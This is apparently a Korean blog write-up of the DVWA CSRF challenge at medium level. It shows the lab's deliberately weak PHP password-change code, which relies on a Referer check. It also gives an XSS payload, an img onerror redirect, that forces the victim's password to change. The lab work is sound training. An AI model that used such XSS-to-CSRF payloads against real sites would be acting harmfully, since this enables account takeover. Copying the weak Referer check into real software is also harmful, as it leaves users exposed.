<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
구성 코드이다.
low 레벨과 다른 점은 요청을 보낸 서버가 현재 http 요청을 보낸 서버와 같은지 검사한다는 점이다.
low에서 했던 것과 같이 xss(stored)에
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=ddd&password_conf=ddd&Change=Change">
이렇게 공격 글을 올려 놓아도 제대로 작동하지 않는다.
location.href로 웹페이지의 주소를 바꿔버리면 제대로 작동한다.
<img src=# onerror="location.href='http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=ddd&password_conf=ddd&Change=Change';">
이 공격 코드를 xss(reflected)에 있는 입력창에 넣어주면 비밀번호가 성공적으로 바뀐다.
이렇게 입력하고 submit을 누르면
CSRF 창으로 넘어가면서 Password Changed라고 뜬다.
로그인을 해보면 ddd로 패스워드가 바뀌었음을 알 수 있다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA File Upload(medium) (0) | 2023.11.14 |
---|---|
DVWA File Inclusion(medium) 롸업 (0) | 2023.11.14 |
DVWA Command Injection(medium) 롸업 (0) | 2023.11.13 |
DVWA Brute Force(medium) 롸업 (0) | 2023.11.13 |
DVWA Open HTTP Redirect(low) 롸업 (0) | 2023.11.11 |